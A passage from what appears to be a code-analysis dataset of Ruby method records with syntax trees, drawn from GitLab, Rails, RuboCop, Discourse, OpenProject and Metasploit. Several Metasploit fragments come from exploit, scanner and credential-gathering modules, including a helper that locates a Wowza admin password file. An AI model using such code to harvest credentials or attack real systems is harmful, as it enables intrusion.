,\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helpers\"]},\"CUSTOM_FIELD_TRUE\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"!\"]},\"!\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"parse_json_value\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"122abc52-7dae-4621-8861-7aa2ce2266ec"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/git/branch_push_service.rb","start_line":89,"raw_source":"def default_branch?\n strong_memoize(:default_branch) do\n [nil, branch_name].include?(project.default_branch)\n end\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_branch?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"default_branch\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"branch_name\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"default_branch\"]}]}]}]}","id":"0dbed0be-e6a1-4d0b-80e8-31f418df1193"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb","start_line":283,"raw_source":"def p(lib, offset)\n [(lib + offset).to_s(16)].pack('H*').reverse\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"p\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lib\"]},{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lib\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"reverse\"]}]}","id":"e0c72770-ca36-4b84-b553-c71f7b2e185b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/udp.rb","start_line":144,"raw_source":"def rhost\n datastore['RHOST']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rhost\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]}","id":"26c748d4-c04a-40a9-9a11-1e2fb5b727c5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/web_ide_terminal.rb","start_line":41,"raw_source":"def web_ide_terminal_route_generator(action, options = {})\n options.reverse_merge!(\n action: action,\n controller: 'projects/web_ide_terminals',\n namespace_id: project.namespace.to_param,\n project_id: project.to_param,\n id: build.id,\n only_path: true\n )\n\n url_for(options)\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"web_ide_terminal_route_generator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"reverse_merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"projects/web_ide_terminals\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},\"to_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"to_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"5876eea1-bc24-4eab-b6bd-6ce763ca2ebc"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/index/dialog_component.rb","start_line":47,"raw_source":"def render?\n permission = @meeting.persisted? ? :edit_meetings : :create_meetings\n @project ? User.current.allowed_in_project?(permission, @project) : User.current.allowed_in_any_project?(permission)\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"render?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"permission\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting\"]},\"persisted?\"]},{\"type\":\"sym\",\"children\":[\"edit_meetings\"]},{\"type\":\"sym\",\"children\":[\"create_meetings\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"lvar\",\"children\":[\"permission\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_any_project?\",{\"type\":\"lvar\",\"children\":[\"permission\"]}]}]}]}]}","id":"87335796-a39f-4439-ab56-2adafa0f46be"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/plugin_helpers.rb","start_line":39,"raw_source":"def with_new_plugin(plugin_path, *args, &block)\n generate_plugin(plugin_path, *args)\n in_plugin_context(plugin_path, &block)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_new_plugin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plugin_path\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_plugin\",{\"type\":\"lvar\",\"children\":[\"plugin_path\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"send\",\"children\":[null,\"in_plugin_context\",{\"type\":\"lvar\",\"children\":[\"plugin_path\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"1fdc605c-87c9-4843-98dc-eb067b242cc7"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/wowza_streaming_engine_creds.rb","start_line":99,"raw_source":"def config_files_osx\n config_path = '/Library/WowzaStreamingEngine/conf/admin.password'\n exists?(config_path) ? [config_path] : []\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"config_files_osx\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config_path\",{\"type\":\"str\",\"children\":[\"/Library/WowzaStreamingEngine/conf/admin.password\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exists?\",{\"type\":\"lvar\",\"children\":[\"config_path\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_path\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"50e7899c-e944-4208-a4e7-33c0b2e59264"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/fortinet_ssl_vpn.rb","start_line":62,"raw_source":"def check_conn?\n begin\n res = send_request_cgi('uri' => '/', 'method' => 'GET')\n if res\n vprint_good(\"Server is responsive...\")\n return true\n end\n rescue ::Rex::ConnectionRefused,\n ::Rex::HostUnreachable,\n ::Rex::ConnectionTimeout,\n ::Rex::ConnectionError,\n ::Errno::EPIPE\n end\n false\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_conn?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"Server is responsive...\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,null]},null]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"dc087811-f647-484a-8f03-e871e1b24020"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/multiline_memoization.rb","start_line":41,"raw_source":"def on_or_asgn(node)\n rhs = node.expression\n\n return unless bad_rhs?(rhs)\n\n add_offense(node) do |corrector|\n if style == :keyword\n keyword_autocorrect(rhs, corrector)\n else\n corrector.replace(rhs.loc.begin, '(')\n corrector.replace(rhs.loc.end, ')')\n end\n end\n end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_or_asgn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rhs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"expression\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bad_rhs?\",{\"type\":\"lvar\",\"children\":[\"rhs\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"keyword\"]}]},{\"type\":\"send\",\"children\":[null,\"keyword_autocorrect\",{\"type\":\"lvar\",\"children\":[\"rhs\"]},{\"type\":\"lvar\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"loc\"]},\"begin\"]},{\"type\":\"str\",\"children\":[\"(\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"loc\"]},\"end\"]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}]}]}","id":"4e5e065e-78cc-44bd-9d7b-b71b9db5976d"} {"repo_name":"discourse","file_path":"./repos/discourse/script/build_jsconfig.rb","start_line":27,"raw_source":"def write_config(package_dir, extras: {})\n package_dir = Pathname.new(package_dir)\n namespaces = { **CORE_NAMESPACES, **extras }\n config = {\n \"compilerOptions\" => {\n \"target\" => \"es2021\",\n \"module\" => \"esnext\",\n \"moduleResolution\" => \"bundler\",\n \"experimentalDecorators\" => true,\n \"allowJs\" => true,\n \"paths\" => {\n **namespaces\n .map { |ns, paths| [ns, paths.map { |p| \"#{relative(package_dir, p)}/*\" }] }\n .to_h,\n },\n },\n \"include\" => namespaces.flat_map { |ns, paths| paths.map { |p| relative(package_dir, p) } },\n \"exclude\" => [\n \"frontend/discourse/tests/unit/utils/decorators-test.js\", # Native class decorators - unsupported by ts/glint\n ],\n }\n\n output = <<~JSON\n // This file was generated by script/build_jsconfig.rb\n #{JSON.pretty_generate(config)}\n JSON\n\n File.write(\"#{package_dir}/jsconfig.json\", output)\nend","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"write_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package_dir\"]},{\"type\":\"kwoptarg\",\"children\":[\"extras\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"package_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"package_dir\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"namespaces\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CORE_NAMESPACES\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extras\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"compilerOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"es2021\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"module\"]},{\"type\":\"str\",\"children\":[\"esnext\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"moduleResolution\"]},{\"type\":\"str\",\"children\":[\"bundler\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"experimentalDecorators\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"allowJs\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"paths\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ns\"]},{\"type\":\"arg\",\"children\":[\"paths\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ns\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relative\",{\"type\":\"lvar\",\"children\":[\"package_dir\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},{\"type\":\"str\",\"children\":[\"/*\"]}]}]}]}]},\"to_h\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"include\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ns\"]},{\"type\":\"arg\",\"children\":[\"paths\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[null,\"relative\",{\"type\":\"lvar\",\"children\":[\"package_dir\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"exclude\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"frontend/discourse/tests/unit/utils/decorators-test.js\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"// This file was generated by script/build_jsconfig.rb\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_dir\"]}]},{\"type\":\"str\",\"children\":[\"/jsconfig.json\"]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"b25eb821-8c0d-4763-aae0-14ecdf3c34ec"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/crypto/block_cipher_base.rb","start_line":49,"raw_source":"def decrypt(ciphertext_and_mac, key, msg_type)\n ki = derive(key, [msg_type, 0x55].pack('NC'))\n ke = derive(key, [msg_type, 0xAA].pack('NC'))\n\n raise Rex::Proto::Kerberos::Model::Error::KerberosError, 'Ciphertext too short' if ciphertext_and_mac.length < (self.class::BLOCK_SIZE + self.class::MAC_SIZE)\n\n ciphertext = ciphertext_and_mac.slice(0..-(self.class::MAC_SIZE+1))\n mac = ciphertext_and_mac[-self.class::MAC_SIZE, self.class::MAC_SIZE]\n\n\n plaintext = decrypt_basic(ciphertext, ke)\n hmac = OpenSSL::HMAC.digest(self.class::HASH_FUNCTION, ki, plaintext)\n hmac_subset = hmac[0, self.class::MAC_SIZE]\n if mac != hmac_subset\n raise Rex::Proto::Kerberos::Model::Error::KerberosError, 'HMAC integrity error'\n end\n\n # Discard the confounder.\n plaintext[self.class::BLOCK_SIZE, plaintext.length]\n end","complexity_score":42.7,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ciphertext_and_mac\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"msg_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ki\",{\"type\":\"send\",\"children\":[null,\"derive\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg_type\"]},{\"type\":\"int\",\"children\":[85]}]},\"pack\",{\"type\":\"str\",\"children\":[\"NC\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ke\",{\"type\":\"send\",\"children\":[null,\"derive\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg_type\"]},{\"type\":\"int\",\"children\":[170]}]},\"pack\",{\"type\":\"str\",\"children\":[\"NC\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ciphertext_and_mac\"]},\"length\"]},\"<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"BLOCK_SIZE\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"MAC_SIZE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosError\"]},{\"type\":\"str\",\"children\":[\"Ciphertext too short\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ciphertext\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ciphertext_and_mac\"]},\"slice\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"MAC_SIZE\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"-@\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mac\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ciphertext_and_mac\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"MAC_SIZE\"]},\"-@\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"MAC_SIZE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plaintext\",{\"type\":\"send\",\"children\":[null,\"decrypt_basic\",{\"type\":\"lvar\",\"children\":[\"ciphertext\"]},{\"type\":\"lvar\",\"children\":[\"ke\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hmac\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"HMAC\"]},\"digest\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"HASH_FUNCTION\"]},{\"type\":\"lvar\",\"children\":[\"ki\"]},{\"type\":\"lvar\",\"children\":[\"plaintext\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hmac_subset\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hmac\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"MAC_SIZE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mac\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"hmac_subset\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosError\"]},{\"type\":\"str\",\"children\":[\"HMAC integrity error\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"BLOCK_SIZE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"length\"]}]}]}]}","id":"727de5a5-f302-48f0-9c59-3d48d09e415c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250110160806_remove_application_setting_legacy_ai_columns.rb","start_line":7,"raw_source":"def up\n with_lock_retries do\n remove_column(:application_settings, :encrypted_openai_api_key, if_exists: true)\n remove_column(:application_settings, :encrypted_openai_api_key_iv, if_exists: true)\n remove_column(:application_settings, :encrypted_anthropic_api_key, if_exists: true)\n remove_column(:application_settings, :encrypted_anthropic_api_key_iv, if_exists: true)\n remove_column(:application_settings, :encrypted_vertex_ai_credentials, if_exists: true)\n remove_column(:application_settings, :encrypted_vertex_ai_credentials_iv, if_exists: true)\n remove_column(:application_settings, :encrypted_vertex_ai_access_token, if_exists: true)\n remove_column(:application_settings, :encrypted_vertex_ai_access_token_iv, if_exists: true)\n end\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"encrypted_openai_api_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"encrypted_openai_api_key_iv\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"encrypted_anthropic_api_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"encrypted_anthropic_api_key_iv\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"encrypted_vertex_ai_credentials\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"encrypted_vertex_ai_credentials_iv\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"encrypted_vertex_ai_access_token\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"encrypted_vertex_ai_access_token_iv\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\